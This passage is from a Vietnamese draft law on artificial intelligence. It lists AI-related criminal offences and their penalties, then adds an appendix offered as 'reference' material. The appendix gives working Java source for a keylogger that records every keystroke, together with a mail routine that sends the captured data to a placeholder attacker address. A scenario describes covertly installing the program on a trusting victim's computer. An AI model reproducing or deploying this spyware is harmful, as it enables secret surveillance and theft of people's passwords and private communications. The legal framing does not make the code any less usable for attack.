4. Xâm nhập, chế tạo, sản xuất hoặc khai thác điểm yếu, lỗ hổng bảo mật và dịch vụ hệ thống để chiếm đoạt thông tin, thu lợi bất chính.

Điều 34. Tội sử dụng TTNT hoặc sản phẩm TTNT để xâm phạm chủ quyền, lợi ích, an ninh quốc gia

Người nào sử dụng TTNT hoặc sản phẩm TTNT để xâm phạm chủ quyền, lợi ích, an ninh quốc gia, thì bị phạt tù từ 12 đến 20 năm, tù chung thân hoặc tử hình.

Điều 35. Tội sử dụng TTNT hoặc sản phẩm TTNT xâm phạm bí mật, an toàn thư tín, điện thoại, điện tín hoặc hình thức trao đổi thông tin riêng tư

Người nào sử dụng TTNT hoặc sản phẩm TTNT xâm phạm bí mật, an toàn thư tín, điện thoại, điện tín hoặc hình thức trao đổi thông tin riêng tư của người khác, thì bị phạt tiền từ 50.000.000 đồng đến 100.000.000 đồng hoặc bị phạt tù từ 05 đến 10 năm.

Điều 36. Tội chế tạo, sản xuất TTNT hoặc sản phẩm TTNT có khả năng tự tạo ra các vật liệu có thể lập trình

Người nào chế tạo, sản xuất TTNT hoặc sản phẩm TTNT có khả năng tự tạo ra các vật liệu có thể lập trình, thì bị phạt tù từ 10 đến 20 năm.

Điều 37. Tội chế tạo TTNT hoặc sản phẩm TTNT không có giấy phép thành lập cơ sở chế tạo

1. Người nào thực hiện hoạt động chế tạo TTNT hoặc sản phẩm TTNT mà không có giấy phép thành lập cơ sở chế tạo, thì bị phạt tiền từ 200.000.000 đồng đến 500.000.000 đồng hoặc phạt cải tạo không giam giữ đến 02 năm.

2. Hình phạt bổ sung: Tịch thu phương tiện là công cụ, máy móc và vật khác được sử dụng để chế tạo TTNT hoặc sản phẩm TTNT.

Điều 38. Tội sản xuất sản phẩm TTNT trái quy định pháp luật

1. Người nào thực hiện một trong các hành vi sau đây, thì bị phạt tiền từ 200.000.000 đồng đến 500.000.000 đồng hoặc bị phạt tù từ 05 đến 10 năm:

a) Sản xuất sản phẩm TTNT chưa được công nhận;
b) Sản xuất sản phẩm TTNT đã được công nhận nhưng không có Giấy phép sản xuất;

c) Sản xuất sản phẩm TTNT không đúng như nội dung giấy phép.

2. Phạm tội một trong các trường hợp sau đây, thì bị phạt tù từ 07 đến 12 năm:

a) Phạm tội 02 lần trở lên;
b) Có tổ chức;
c) Gây ảnh hưởng xấu đến an ninh trật tự, trật tự, an toàn xã hội;
d) Tái phạm nguy hiểm.

Điều 39. Tội thay đổi lập trình, thiết kế của TTNT hoặc sản phẩm TTNT khi chưa được sự cho phép của cơ quan nhà nước có thẩm quyền

1. Người nào thay đổi lập trình, thiết kế của TTNT hoặc sản phẩm TTNT khi chưa được sự cho phép của cơ quan nhà nước có thẩm quyền, thì bị phạt cảnh cáo, phạt tiền từ 20.000.000 đồng đến 50.000.000 đồng hoặc phạt cải tạo không giam giữ đến 03 năm.

2. Phạm tội một trong các trường hợp sau đây, thì bị phạt tù từ 07 đến 12 năm:

a) Phạm tội 02 lần trở lên;
b) Có tổ chức;
c) Gây ảnh hưởng xấu đến an ninh trật tự, trật tự, an toàn xã hội;
d) Tái phạm nguy hiểm.

Điều 40. Tội thiếu trách nhiệm kiểm soát TTNT hoặc sản phẩm TTNT gây hậu quả nghiêm trọng

Người nào để TTNT hoặc sản phẩm TTNT vượt khỏi sự kiểm soát của con người gây hậu quả nghiêm trọng, thì bị phạt tù từ 12 đến 20 năm hoặc tù chung thân.

Điều 41. Tội cố ý để TTNT hoặc sản phẩm TTNT xâm phạm đến tính mạng con người

Người nào để TTNT hoặc sản phẩm TTNT xâm phạm đến tính mạng con người, thì bị phạt tù từ 15 đến 20 năm, tù chung thân hoặc tử hình.

Điều 42. Tội chế tạo, sản xuất, sử dụng TTNT hoặc sản phẩm TTNT nhằm mục đích khủng bố, chống lại loài người, và gây tội ác chiến tranh

Người nào chế tạo, sản xuất, sử dụng TTNT hoặc sản phẩm TTNT nhằm mục đích khủng bố, chống lại loài người và gây tội ác chiến tranh, thì bị phạt tù từ 10 đến 20 năm, tù chung thân hoặc tử hình.

Điều 43. Tội thiếu trách nhiệm trong việc phối hợp với các cơ quan, tổ chức khi tham gia ứng phó, khắc phục hậu quả do TTNT và sản phẩm TTNT gây ra

1. Người nào thiếu trách nhiệm trong việc phối hợp với các cơ quan, tổ chức khi tham gia ứng phó, khắc phục hậu quả do TTNT hoặc sản phẩm TTNT gây ra, thì bị phạt tiền từ 50.000.000 đồng đến 500.000.000 đồng, phạt cải tạo không giam giữ đến 03 năm hoặc phạt tù từ 02 năm đến 07 năm.

2. Phạm tội thuộc một trong các trường hợp sau đây, thì bị phạt tiền từ 500.000.000 đồng đến 2.000.000.000 đồng hoặc phạt tù từ 05 năm đến 10 năm:

- a) Làm chết người;
- b) Gây thiệt hại từ 3.000.000.000 đồng đến dưới 7.000.000.000 đồng.

3. Phạm tội thuộc một trong các trường hợp sau đây, thì bị phạt tù từ 10 năm đến 15 năm:

- a) Làm chết 02 người trở lên;
- b) Gây thiệt hại về tài sản 7.000.000.000 đồng trở lên.

Điều 44. Tội trốn thuế

1. Người nào chế tạo, sản xuất TTNT hoặc sản phẩm TTNT mà thực hiện một trong các hành vi trốn thuế với số tiền từ 100.000.000 đồng đến dưới 300.000.000 đồng, thì bị phạt tiền từ 100.000.000 đồng đến 500.000.000 đồng hoặc phạt tù từ 03 tháng đến 02 năm.

2. Phạm tội thuộc một trong các trường hợp sau đây, thì bị phạt tiền từ 500.000.000 đồng đến 1.500.000.000 đồng hoặc phạt tù từ 01 năm đến 03 năm:

- a) Có tổ chức;
- b) Số tiền trốn thuế từ 300.000.000 đồng đến dưới 1.000.000.000 đồng;
- c) Lợi dụng chức vụ, quyền hạn;
- d) Phạm tội 02 lần trở lên;
- e) Tái phạm nguy hiểm.

3. Phạm tội trốn thuế với số tiền 1.000.000.000 đồng trở lên, thì bị phạt tiền từ 1.500.000.000 đồng đến 4.500.000.000 đồng hoặc phạt tù từ 02 năm đến 07 năm.

Điều 45. Phạm vi chịu trách nhiệm hình sự của tổ chức

Tổ chức phạm tội phải chịu trách nhiệm hình sự về tội phạm quy định tại một trong các điều 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43 và 44 của Luật này.

Chương VI: PHỤ LỤC

MẪU MÃ LỆNH ĐÁNH CẤP DỮ LIỆU

(Tham khảo)

Theo khoản 6, Điều 7, TTNT hoặc sản phẩm TTNT có khả năng lập trình các mã lệnh với các chức năng nhằm mục đích tấn công hệ thống thông tin.

Đề tài xin đưa ra một mẫu mã độc có chức năng đánh cắp dữ liệu để làm tư liệu tham khảo cho Luật Trí tuệ nhân tạo.

1. Tình huống giả định:

Kẻ xấu X muốn lấy tất cả thông tin và liên lạc trên máy tính của một người quan trọng Y.

Kẻ xấu X là người quen biết với người Y nên người Y rất tin tưởng và không cảnh giác.

Kẻ xấu X là người biết lập trình có thể xây dựng một chương trình bằng ngôn ngữ Java.

Kẻ xấu X mượn máy tính hoặc vô tình đoán được mật khẩu để truy cập vào máy tính cá nhân của người Y và cài đặt chương trình này lên và bắt đầu chạy ngầm và tự động.

2. Mục đích thực hiện:

- a) Theo dõi, lưu trữ hết tất cả phím gõ khi người dùng Y gõ trên máy tính của mình;

b) Gửi tất cả thông tin thu thập được về email của người X

3. Đoạn mã lệnh lấy thông tin viết bằng ngôn ngữ lập trình Java

```
// BẮT ĐẦU SỬ DỤNG CÁC THƯ VIỆN CÓ SẴN CỦA JAVA
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Properties;
import java.util.logging.FileHandler;
import java.util.logging.Logger;
import java.util.logging.SimpleFormatter;
import org.jnativehook.GlobalScreen;
import org.jnativehook.NativeHookException;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;
// SỬ DỤNG LỚP NativeKeyListener CỦA JAVA HỖ TRỢ
// ĐỂ THEO DÕI CÁC PHÍM GỖ
public class KeyLogger implements NativeKeyListener {
    String configFilePath = null;
    Logger logger = null;
    FileHandler fileHandler = null;
    SimpleFormatter simpleFormatter = null;
    InputStream inputStream = null;
    Properties properties = null;
    Path currentRelativePath = null;
    public KeyLogger() throws IOException {
        // ĐOẠN MÃ KHỞI TẠO ĐỐI TƯỢNG ĐỂ LƯU THÔNG TIN VÀO FILE
        logger = Logger.getLogger("Key Log");
        currentRelativePath = Paths.get("");
        inputStream = new FileInputStream("Config.properties");
        properties = new Properties();
        properties.load(inputStream);
        configFilePath = properties.getProperty("FilePath");
        fileHandler = new FileHandler(configFilePath);
        logger.addHandler(fileHandler);
        simpleFormatter = new SimpleFormatter();
        fileHandler.setFormatter(simpleFormatter);
    }
    // PHƯƠNG THỨC NÀY KÍCH HOẠT KHI MỘT PHÍM BỊ NHẤN
    @Override
    public void nativeKeyPressed(NativeKeyEvent nativeKeyEvent) {
        // LƯU PHÍM BẤM VÀO FILE
        logger.info("Phím đã bấm: " +
NativeKeyEvent.getKeyText(nativeKeyEvent.getKeyCode()));
    }
    @Override
    public void nativeKeyReleased(NativeKeyEvent nativeKeyEvent) {
    }
    @Override
    public void nativeKeyTyped(NativeKeyEvent nativeKeyEvent) {
    }
    // HÀM KHỞI ĐỘNG CHẠY CHƯƠNG TRÌNH
    public static void main(String arguments[]) throws IOException, NativeHookException
    {
```

```

// ĐĂNG KÝ ĐỂ QUAN SÁT CÁC PHÍM BẤM
GlobalScreen.registerNativeHook();
GlobalScreen.addNativeKeyListener(new KeyLogger());
}
}

```

4. Đoạn mã lệnh gửi mail dữ liệu đánh cắp được về cho người X bằng ngôn ngữ lập trình Java

Phía sau dấu // là lời chú thích cho từng đoạn mã lệnh

```

// BẮT ĐẦU GỌI THƯ VIỆN CODE CÓ SẴN CỦA NGÔN NGỮ JAVA
import java.util.Properties;
import javax.mail.Message;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
public class SendMail {
    public static void main(String[] args) throws Exception {
        // CÁC THÔNG TIN CẤU HÌNH SERVER EMAIL ĐỂ GỬI MAIL
        // KẺ X CÓ THỂ TIẾP CẬN DỊCH VỤ MỘT CÁCH DỄ DÀNG
        Properties props = System.getProperties();
        props.put("mail.transport.protocol", "smtp");
        props.put("mail.smtp.port", 587);
        props.put("mail.smtp.starttls.enable", "true");
        props.put("mail.smtp.auth", "true");
        // KHỞI ĐỘNG PHIÊN LÀM VIỆC ĐỂ GỬI MAIL
        Session session = Session.getDefaultInstance(props);
        // TẠO THÔNG điệp MAIL
        MimeMessage msg = new MimeMessage(session);
        msg.setFrom(new InternetAddress(FROM, FROMNAME));
        msg.setRecipient(Message.RecipientType.TO, new InternetAddress(
            "EMAIL-CUA-KE-XAU-X@GMAIL.COM"));
        msg.setSubject("TIỂU ĐỀ EMAIL"); //
        msg.setContent("THÔNG TIN THU THẬP ĐƯỢC ĐỂ Ở ĐÂY", "text/html");
        msg.setHeader("X-SES-CONFIGURATION-SET", CONFIGSET);
        Transport transport = session.getTransport();
        try {
            // KẾT NỐI TỚI SERVER CHUYÊN GỬI MAIL
            transport.connect(HOST, SMTP_USERNAME, SMTP_PASSWORD);
            // GỬI MAIL VỚI THÔNG TIN LÃY ĐƯỢC TỚI MAIL CỦA KẺ X
            transport.sendMessage(msg, msg.getAllRecipients());
        } catch (Exception ex) {} finally {
            transport.close();
        }
    }
}

```

Bằng cách kết hợp 2 đoạn mã lệnh trên, lập trình viên có thể tạo ra nhiều chương trình nguy hiểm như lưu trữ thông tin người dùng Y nhập từ bàn phím vào một file và định kỳ gửi thông tin này về email của mình để phân tích dữ liệu phục vụ cho mục đích xấu.